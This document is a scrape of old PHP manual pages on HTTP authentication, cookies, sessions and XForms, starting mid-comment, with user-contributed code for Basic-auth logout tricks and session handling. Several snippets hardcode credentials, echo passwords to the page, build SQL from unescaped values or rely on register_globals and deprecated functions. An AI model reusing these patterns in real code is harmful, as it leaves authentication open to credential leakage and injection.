   RewriteRule ([^\s]+).php$ $1.php?BAD_HOSTING=%{HTTP:Authorization}

   RewriteCond %{QUERY_STRING} ^(.+)$
   RewriteRule ([^\s]+).php $1.php?%1&BAD_HOSTING=%{HTTP:Authorization}
</IfModule>

a part of php file:

<?php
    if((empty($_SERVER['PHP_AUTH_USER']) or empty($_SERVER['PHP_AUTH_PW'])) and isset($_REQUEST['BAD_HOSTING']) and preg_match('/Basic\s+(.*)$/i', $_REQUEST['BAD_HOSTING'], $matc))
        list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', base64_decode($matc[1]));

?>
somebody 18-Oct-2005 04:20
In the previous example it will not work in IE. In order to have a single script work on both IE and FireFox (and handle the cache problem), you need to use the $_SERVER['HTTP_USER_AGENT'] variable to know which logout version to present to the user.

An full example can be seen in the url (could not post it here due to size restrictions):

http://www.free-php.org/index.php?
cat_select=HTTP&show=HTTP_Authentication

(URL split also due to size restrictions)
siberion at hotmail dot com 24-Aug-2005 06:11
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.example.com/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
me at lalit dot org 30-Jun-2005 05:27
A very simple HTTP Authentication script that solves the logout problem. I wasted a lot of time figuring out a way to logout. This one works perfectly fine.

<?php

function auth_user() {
    $realm = mt_rand( 1, 1000000000 );
    header('WWW-Authenticate: Basic realm="Realm ID='.$realm.']"');
    header('HTTP/1.0 401 Unauthorized');
    die("Unauthorized access forbidden!");
}

if (!isset($_SERVER['PHP_AUTH_USER'])) {
    auth_user();
} else if (!isset($_SERVER['PHP_AUTH_USER'])) {
    auth_user();
} else if ($_SERVER['PHP_AUTH_USER'] != $auser || $_SERVER['PHP_AUTH_PW'] != $apass) {
    auth_user();
} else if (isset($_GET['action']) && $_GET['action'] == "logout") {
    auth_user();
}

// Normal Page Code Here
?>

Hope this helps,
Lalit
snagnever at gmail dot com 19-Jun-2005 12:39
It forces a auth each time the page is accessed:
(maybe can save someone)

<?
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
header("Pragma: no-cache");
session_cache_limiter("public, no-store");
session_start();

function http_auth()
{
    $_SESSION['AUTH'] = 1;
    header('HTTP/1.0 401 Unauthorized');
    header('WWW-Authenticate: Basic realm="sn4g auth system"');
    // The actions to be done when the user clicks on 'cancel'
    exit();
}

if( !isset($_SERVER['PHP_AUTH_USER']) or @$_SESSION['AUTH'] != 1 )
{
    http_auth();
    exit();
}

// Actions do be done when the user has logged

// rest, must clean the session array
$_SESSION = array();
session_destroy();
?>
aplanefan at mail dot com 26-May-2005 03:36
I found a way to log out easily
<?php
ob_start();
if (!isset($_SERVER['PHP_AUTH_USER']) || $_COOKIE['isin'] != "1") {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
setcookie ("isin", "1");
die('<a href="orderhan.php">Login</a>');
}
else {
if($_SERVER['PHP_AUTH_USER'] == "USER" &&  $_SERVER['PHP_AUTH_PW']== "PASSWORD") {
echo "you got in";
echo "<a href='".$_SEVER['PHP_SELF']."?action=logout'>logout</a>";
}
else {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
if($_GET['action'] == "logout") {
setcookie ("isin", "", time() - 3600);
$url=$_SERVER['PHP_SELF'];
header("location: $url");
}
}
ob_end_flush();
?>
charly at towebs dot com 29-Apr-2005 07:13
A simpler approach on the post of:
bernard dot paques at bigfoot dot com
24-Sep-2004 01:42

This is another "patch" to the PHP_AUTH_USER and PHP_AUTH_PW server variables problem running PHP as a CGI.

First of all don't forget this fragment of code in your .htaccess (it's the only thing you need to make it work with mod_rewrite):

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

Then login.php

<?php
$a = base64_decode( substr($_SERVER["REMOTE_USER"],6)) ;
if ( (strlen($a) == 0) || ( strcasecmp($a, ":" )  == 0 ))
{
   header( 'WWW-Authenticate: Basic realm="Private"' );
   header( 'HTTP/1.0 401 Unauthorized' );
}
else
{
   list($name, $password) = explode(':', $a);
   $_SERVER['PHP_AUTH_USER'] = $name;
   $_SERVER['PHP_AUTH_PW']    = $password;

}

echo 'PHP_AUTH_USER =' . $_SERVER['PHP_AUTH_USER'] . '<br>';
echo 'PHP_AUTH_PW =' . $_SERVER['PHP_AUTH_PW'] . '<br>';
echo 'REMOTE_USER =' . $_SERVER['REMOTE_USER'] . '<br>';
?>

First, we decode the base64 encoded string discarding the first 6 characters of "Basic " and then we do a regular validation.
At the end of the script we print the variables to verify it's working. This should be ommited in the production version.

It's a variation of the script by Bernard Paques.
Thanks to him for that snippet.
sl at netcentrex dot net 24-Mar-2005 11:16
This forces an instant re-authentication:

// Force a logout.
function imt_logout()
{
    global $_SESSION;
    global $HTTP_SERVER_VARS;
    global $PHP_SELF;

    // We mark the session as requiring a re-auth
    $_SESSION['reauth-in-progress'] = 1;

    // This forces the authentication cache clearing
    header("WWW-Authenticate: Basic realm=\"My Realm\"");
    header("HTTP/1.0 401 Unauthorized");

    // In case of the user clicks "cancel" in the dialog box
    print '<a href="http://'.$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF.'">click me</a>';
    exit();
}

// Check login
function imt_login()
{
    global $_SERVER;
    global $_SESSION;
    global $REGISTERED_USERS;

    // the valid_user checks the user/password (very primitive test in this example)
    if (!valid_user($_SERVER['PHP_AUTH_USER'], $REGISTERED_USERS))
    {
        session_destroy();
        header("WWW-Authenticate: Basic realm=\"My Realm\"");
        header("HTTP/1.0 401 Unauthorized");
        exit();
    }

    // OK, the user is authenticated
    $_SESSION['user'] = $_SERVER['PHP_AUTH_USER'];
}

Assuming that your page.php?action=logout forces a reauth on the same page, start your page with:

session_start()
if ($_REQUEST["action"] == "logout")
{
    if (isset($_SESSION['reauth-in-progress']))
    {
        session_destroy();
        header("Location: http://".$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF);
    }
    else
        imt_logout();
}

imt_login();
brian at nerdlife dot net 20-Mar-2005 04:30
My solution to the logout conondrum:
<?php
if($_GET[op] == 'logout')
{
 header('WWW-Authenticate: Basic realm="Click \'Ok\' then \'Cancel\' to Log Out"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You have been successfully logged out. Click <a href="index.php">here</a> to log back in.');
  die();
}
if(!isset($_SERVER[PHP_AUTH_USER]))
{
 header('WWW-Authenticate: Basic realm="Site Login"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You must enter a valid username and password to access this resource.';
  die();
}
else
{
 //Validate User
 //If Validated:
 echo "Welcome. <a href='index.php?op=logout'>Logout?</a>"
}
?>
I assume that if the user is reliable enough to even bother logging out, they are reliable enough to click "ok" then "cancel", thereby logging out and displaying the "logged out" message.
jason 15-Aug-2004 07:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net 13-Aug-2004 01:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
chris at schaake dot nu 17-Jun-2004 06:42
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
    if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
        authenticate(); // Send basic authentication headers
    }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

    if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
        authenticate(); // Send basic authentication headers because username and/or password didnot match
    }
}

phpinfo();

// Call authentication display
function authenticate() {
    Header("WWW-Authenticate: Basic realm=Website");
        Header("HTTP/1.0 401 Unauthorized");
        error401();
        exit;
}
?>

See my website (http://www.schaake.nu/index.php?page=/manuals/sslmanual.xml) for more details on client certificate with Apache and PHP.
nuno at mail dot ideianet dot pt 14-May-2004 12:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de 07-May-2004 01:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
       (!isset($_SERVER['PHP_AUTH_USER']))
    ||(
           ($_GET["login"]=="login")
    && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
        )
    ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
        )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk 27-Apr-2004 02:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
ian AT iyates DOT co DOR uk 05-Mar-2004 02:32
In my use of HTTP Authentication, I've found that some Apache setups swap around the usual variables.
Here's the fix I made so that you can still use PHP_AUTH_USER and PHP_AUTH_PW. Hope it helps someone

<?php
## Apache server fix ##
if (isset($_SERVER['PHP_AUTH_USER']) && !isset($_ENV['REMOTE_USER']))
    $_ENV['REMOTE_USER'] = $_SERVER['PHP_AUTH_USER'];
if (isset($_SERVER['AUTH_PASSWORD']) && !isset($_ENV['PHP_AUTH_PW']))
    $_ENV['PHP_AUTH_PW'] = $_SERVER['AUTH_PASSWORD'];
?>
rob at theblip dot com 04-Mar-2004 05:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
ken_php_net at wolfpackinteractive dot com 25-Dec-2003 10:16
Say you have password and groups files in standard Apache format (htpasswd etc.), but you want to apply authorization based on something other than filename, ie something you can't catch in .htaccess.  You want to emulate the server behavior in PHP -- the equivalent of:

AuthType Basic
AuthName "Members"
AuthUserFile /path/to/.htpasswd
AuthGroupFile /path/to/.groups
require group Members

Here's what I came up with:

<?PHP

$AuthUserFile = file("/path/to/.htpasswd");
$AuthGroupFile = file("/path/to/.groups");
$group = "Members";
$realm = "Members";

function authenticate(){
    header("WWW-Authenticate: Basic realm=\"$realm\"");
    header('HTTP/1.0 401 Unauthorized');
    echo "You must enter a valid user name and password to access the requested resource.";
    exit;
}

for(; 1; authenticate()){
    if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']))
        continue;

    $user = $HTTP_SERVER_VARS['PHP_AUTH_USER'];
    if(!preg_grep("/$group: $user$/", $AuthGroupFile))  # (format assumptions)
        continue;

    if(!($authUserLine = array_shift(preg_grep("/$user:.*$/", $AuthUserFile))))
        continue;

    preg_match("/$user:((..).*)$/", $authUserLine, $matches);
    $authPW = $matches[1];
    $salt = $matches[2];
    $submittedPW = crypt($HTTP_SERVER_VARS['PHP_AUTH_PW'], $salt);
    if($submittedPW != $authPW)
        continue;

    break;
}

echo "You got in!"
?>
Paul 09-Nov-2003 12:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
    header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
ad_ver at inbox dot ru 04-Sep-2003 04:54
Modified script from "jonhaynes at bigfoot dot com" using Oracle logon

<?php
function authenticate() {
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header("HTTP/1.0 401 Unauthorized");
print("You must enter a valid login username and password
to access this resource.\n");
exit;
}

if(!isset($_SERVER['PHP_AUTH_USER'])){ authenticate(); }
else {
    $conn = @ OCILogon($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'], "orcl92") ;
    if(!$conn)
        { authenticate(); }
    else {OCILogoff($conn);};
}
?>
steve at topozone dot com 16-Jun-2003 09:51
The method described in the text does not appear to work with PHP in cgi mode and Apache-2.x. I seems that Apache has gotten stricter or introduced a bug such that you can initiate the authentication, but Apache seems to try to  authenticate the browser response which always fails because it does not know what to authenticate against and the headers never get passed back to the PHP script.

I didn't try it with PHP as a module.
JKi 14-Feb-2003 12:38
To clear HTTP authentication cache in Internet Explorer (6 SP1 and later), use "ClearAuthenticationCache" command.

document.execCommand("ClearAuthenticationCache");
emmanuel dot keller at net2000 dot ch 14-Jan-2003 11:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
yaroukh at email dot cz 12-Jan-2003 01:42
Here is my solution - works in MSIE and Mozilla.

I use http-authentication only for the first time user accesses his
private page; after valid username and password are provided, he is
recognized using his sessionID and ip ...
the reasons are following:
1) when users changes his password it is not required instantly
   (I find this quite comfortable)
2) auto-login function works fine (unless user click logout)

And here's how i works ...

The "trick" is to pass a temporary username+password to the browser.
(I call it "temporary" because no user account matching these
parameters is neccessary.)

The most essential thing is the following link on user's private page:

===
<?  $url = "http://".
        $username.     // see note 1
        ":".
        Session_ID().  // see note 2
        "@localhost/".PROJECT_NAME."/logout.phtml";
?>
<a href="<?=$url?>">logout</a>
===

1) we pass the actual username because MSIE uses this username as
   a "default pre-fill" for the login-window and some hash-string
   would confuse the users.
2) the temporary password is not too important, but there are
   two things we expect from it:
   a) we need to know this string in the logout.phtml script
   b) the string definetely should not match the user's password
      (otherwise user gets logged back instantly); using current
      Session_ID() we are pretty sure this won't happen

This link causes that the temporary login-params are available in
the logout.phtml script.
Using "www-authenticate" header in the logout.phtml script we force
the browser to accept our temporary login-params. (I suppose browser
actually repeats the request and the next time it checks
the login-params sent in the URL; but this is only my guess and
it is not important.)

The logout.phtml code:
===
<?  $query = "UPDATE users SET sessionID = NULL ".
        "WHERE sessionID = '".Session_ID()."'";
     $mysql->query($query);
     // because we (me :o) use the sessionID and the ip for
     // the identification we need to clean the sessionID; (I found it
     // a little bit easier to destroy the sessionID in the db than
     // unsetting the cookie and/or destroying+restarting
     // the current session)

     if($PHP_AUTH_PW != Session_ID()) {
        // keep asking for the login-params untill PHP_AUTH_PW returned
        // by the browser matches the current Session_ID() (which means
        // that the browser accepted the temporary login-params
        // we sent to it AND FORGOT THE REAL ONES)

        Header("HTTP/1.0 401 Unauthorized");
        Header("WWW-Authenticate: Basic realm=\"".PROJECT_NAME."\"");
    }
?>
<html>
    <head>
        <meta http-equiv="author" content="yaroukh at email dot cz">
        <title><?=PROJECT_NAME?></title>
        <link rel="stylesheet" href="style.css" type="text/css">
    </head>
    <body>
         <a href="http://localhost/<?=PROJECT_NAME?>/main.phtml">continue</a>
    </body>
</html>
===

About the "continue" link: the link is not too important, but using it
we can get rid off the temporary login-params which wouldn't look
too aesthetically in the address-bar. :o)
05-Jun-2002 11:08
A more elegant way to force a new name/password, cf. example 17-2 (if you don't mind passing the old user in the query string):

<?
if (isset($PHP_AUTH_USER))
{
    if (!isset($prev_user))
    {
        header("Location: http://$HTTP_HOST$PHP_SELF?prev_user=$PHP_AUTH_USER");
        exit;
    }
    else
    {
        if ($PHP_AUTH_USER == $prev_user)
        {
            header('WWW-Authenticate: Basic realm="Secure"');
            header('HTTP/1.0 401 Unauthorized');
            exit;
        }
    }
}
else
{
    header('WWW-Authenticate: Basic realm="Secure"');
    header('HTTP/1.0 401 Unauthorized');
    exit;
}
?>

The final set of headers is necessary because some browsers seem to unset $PHP_AUTH_USER when the location header is sent.
louis dot carlier at ngroups dot com 24-May-2002 05:22
The definitive HTTP authorization code:

<?php
function login_error()
{
 echo "error - login process failed."
}

if (!isset($PHP_AUTH_USER))
{
 header("WWW-Authenticate: Basic realm=\"Mosaic Authorization process\"");
 header("HTTP/1.0 401 Unauthorized");

 //Result if user hits cancel button
 login_error();
}
else
{

 //check the login and password
 if('=>test on login and password<=')
 {
  //User is logged
  ...
  ...
 }
 else
 {
  //This re-asks three times the login and password.
  header( "WWW-Authenticate: Basic realm=\"Test Authentication System\"");
  header("HTTP/1.0 401 Unauthorized");

  //Result if user does not give good login and pass
  login_error();
 }
}
?>
sjeffrey at inquesis dot com 30-Jan-2002 12:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
    explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI
owld at mail dot ru 31-Aug-2000 12:04
Good day.I've solved a problem where IE4 asks for the age one more time after a 401, defeating sending a 401 once to force a user to log on again.

<?php
  function  authenticate()  {
    setcookie("noauth","");
    Header( "WWW-authenticate:  Basic realm=\"test\"");
    Header( "HTTP/1.0  401  Unauthorized");
    echo "You must enter user name";
   exit ;
  }
  if  (   !isset($PHP_AUTH_USER) ||  ($logoff==1) && $noauth=="yes"  )   {
    authenticate();
  }
?>

And logoff link -

<a href="samehtml.phtml?logoff=1">Logoff</a></td>

Dmitry Alyekhin


Cookies

PHP transparently supports HTTP cookies. Cookies are a mechanism for storing data in the remote browser and thus tracking or identifying return users. You can set cookies using the setcookie() or setrawcookie() function. Cookies are part of the HTTP header, so setcookie() must be called before any output is sent to the browser. This is the same limitation that header() has. You can use the output buffering functions to delay the script output until you have decided whether or not to set any cookies or send any headers.

Any cookies sent to you from the client will automatically be included into a $_COOKIE auto-global array if variables_order contains "C". If you wish to assign multiple values to a single cookie, just add [] to the cookie name.

Depending on register_globals, regular PHP variables can be created from cookies. However it's not recommended to rely on them as this feature is often turned off for the sake of security. $HTTP_COOKIE_VARS is also set in earlier versions of PHP when the track_vars configuration variable is set. (This setting is always on since PHP 4.0.3.)

For more details, including notes on browser bugs, see the setcookie() and setrawcookie() function.

User Contributed Notes

meetyashah at gmail dot com 22-Apr-2013 08:53
PAGE 1

<?php echo $_COOKIE["first"]; ?>

PAGE 2

<?php if(isset($_COOKIE["first"])) {
        echo $_COOKIE["first"];}
        echo '<br />';
        if(isset($_COOKIE["second"])){
        echo $_COOKIE["second"];        }
        echo '<br />';
        if(isset($_COOKIE["third"])){
        echo $_COOKIE["third"];        }
        ?>
Anonymous 20-Apr-2013 07:56
Your note is too short. Trying to test the notes system? Save us the trouble of deleting your test, and don't. It works.
Henry 08-May-2009 04:15
It is better to note not to attach your cookies to and IP and block the IP if it is different as some people use Portable Browsers which will remember the cookies.  It is better to show a login screen instead if the IP does not correspond to the session cookie's IP.
ingen at stocken.ws 19-Nov-2006 09:26
If you want a secured session not tied to the client IP you can use the valid-for-one-query method below, but to safeguard against a scenario where the legitimate user clicks twice, you can use a shutdown function (register_shutdown_function)*.

It will check to see if the script terminated prematurely (connection_aborted), and reset the valid session ID. That way, it's still valid when the user makes the second request. If the script ends properly, the new session ID will be used instead.

Now, since you can't set a cookie from the shutdown function (after output has been sent), the cookie should contain both the previous valid session ID and the new one. Then the server script will determine (on the next request) which one to use.

:: Pseudo example:
::
:: [Start of script:]
::
:: 1. Get the session ID(s) from cookie
:: 2. If one of the session ID's is still valid (that is, if there's a storage associated with it - in DB, file or whatever)
::  ____2.1. Open the session
:: 3. Generate a new session ID
:: 4. Save the new session ID with the one just used in cookie
:: 5. Register shutdown function
::
:: [End of script (shutdown function):]
::
:: 1. If script ended prematurely
:: ____1.1. Save session data using the old Session ID
:: 2. Else
:: ____2.1. Save session data using the new Session ID
:: ____2.2. Make sure the old session ID is added to a list of ID's (used for the purpose described below)
:: ____2.3. Trash the old session storage

There's still the possibility of some deviant network sniffer catching the session cookie as it's sent to the client, and using it before the client gets the chance to. Thus, successfully hijacking the session.

If an old session ID is used, we must assume the session has been hijacked. Then the client could be asked to input his/her password before data is sent back. Now, since we have to assume that only the legitimate user has the password we won't send back any data until a password is sent from one request.

And finally, (as a sidenote) we could obscure the login details (if the client has support for javascript) by catching the form as it is sent, take the current timestamp and add it to the form in a dynamically generated hidden form object, replace the password field with a new password that is the MD5 (or similar) of the timestamp and the real password. On the serverside, the script will take the timestamp, look at the user's real password and make the proper MD5. If they match, good, if not, got him! (This will of course only work when we have a user with a session that's previously logged in, since we know what password (s)he's supposed to have.) If the user credentials are saved as md5(username+password), simply ask for both the username and password, md5 them and then md5 the timestamp and the user cred.

---

If you need a javascript for md5: http://pajhome.org.uk/crypt/md5/md5src.html

---

* You could use session_set_save_handler and make sure the session ID is generated in the open function. I haven't done that so I can't make any comments on it yet.
kalla_durga at gmail dot com 03-Feb-2006 09:10
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
bmorency at jbmlogic dot com 07-Oct-2005 02:14
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
mega-squall at caramail dot com 23-Feb-2005 10:04
I found a solution for protecting session ID without tying them to client's IP. Each session ID gives access for only ONE querry. On the next querry, another session ID is generated and stored. If somebody hacks the cookie (or the session ID), the first one of the user and the pirate that will use the cookie will get the second disconnected, because the session ID has been used.

If the user gets disconnected, he will reconnect : as my policy is not to have more than one session ID for each user (sessions entries have a UNIQUE key on the collomn in which is stored user login), every entries for that user gets wiped, a new session ID is generated and stored on users dirve : the pirate gets disconnected. This lets the pirate usually just a few seconds to act. The slower visitors are browsing, the longer is the time pirates get for hacking. Also, if users forget to explicitly end their sessions .... some of my users set timeout longer than 20 minutes !

IMPORTANT NOTE : This disables the ability of using the back button if you send the session ID via POST or GET.
myfirstname at braincell dot cx 24-Sep-2003 05:47
[Editor's note: Wilson's comment has been deleted since it didn't contain much useful information, but this note is preserved although its reference is lost]

Just a general comment on Wilton's code snippet: It's generally considered very bad practice to store usernames and/or passwords in cookies, whether or not they're obsfucated.  Many spyware programs make a point of stealing cookie contents.

A much better solution would be to either use the PHP built in session handler or create something similar using your own cookie-based session ID.  This session ID could be tied to the source IP address or can be timed out as required but since the ID can be expired separately from the authentication criteria the authentication itself is not compromised.

Stuart Livings


Sessions

Session support in PHP consists of a way to preserve certain data across subsequent accesses. This enables you to build more customized applications and increase the appeal of your web site. All information is in the Session reference section.

User Contributed Notes

There are no user contributed notes for this page.


Dealing with XForms

» XForms defines a variation on traditional webforms which allows them to be used on a wider variety of platforms and browsers or even non-traditional media such as PDF documents.

The first key difference in XForms is how the form is sent to the client. » XForms for HTML Authors contains a detailed description of how to create XForms, for the purpose of this tutorial we'll only be looking at a simple example.

Example #1 A simple XForms search form

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

The above form displays a text input box (named q), and a submit button. When the submit button is clicked, the form will be sent to the page referred to by action.

Here's where it starts to look different from your web application's point of view. In a normal HTML form, the data would be sent as application/x-www-form-urlencoded, in the XForms world however, this information is sent as XML formatted data.

If you're choosing to work with XForms then you probably want that data as XML, in that case, look in $HTTP_RAW_POST_DATA where you'll find the XML document generated by the browser which you can pass into your favorite XSLT engine or document parser.

If you're not interested in formatting and just want your data to be loaded into the traditional $_POST variable, you can instruct the client browser to send it as application/x-www-form-urlencoded by changing the method attribute to urlencoded-post.

Example #2 Using an XForm to populate $_POST

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="urlencoded-post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
  <input ref="q"><label>Find</label></input>
  <submit submission="s"><label>Go</label></submit>
 </h:p>
</h:body>
</h:html>

Note: As of this writing, many browsers do not support XForms. Check your browser version if the above examples fails.

User Contributed Notes

Darkener Daemon EX 13-Feb-2006 06:21
"php://stdin" doesn't exist in my PHP version. I use the following code block instead :
<?php
if (!isset($HTTP_RAW_POST_DATA))
    $HTTP_RAW_POST_DATA = file_get_contents("php://input");
?>
OrionI 07-Jul-2005 08:33
FireFox has an XForms plugin that works with the latest nightly builds. Check out http://www.mozilla.org/projects/xforms/ for more info. For IE support, there's an ActiveX control from Novell (http://developer.novell.com/xforms/) and one from x-port.net (http://www.formsplayer.com/).

There's also a JavaScript-based one coming out called FormFaces which looks very promising, especially since there are no plugins required and it works in IE, FF, and Opera: http://www.formfaces.com/
lphuberdeau at phpquebec dot org 21-Aug-2004 06:55
Since HTTP_RAW_POST_DATA requires a configuration to be generated and is not enabled as a default value, you will probably have to use the PHP STDIN stream to get the raw data. It's probably better to use this method as the raw data will not be generated every time, even when not needed.

<?php
$fp = fopen( "php://stdin", "r" );
$data = '';
while( !feof( $fp ) )
    $data .= fgets( $fp );
fclose( $fp );
?>


Handling file uploads

Table of Contents

  • POST method uploads
  • Error Messages Explained
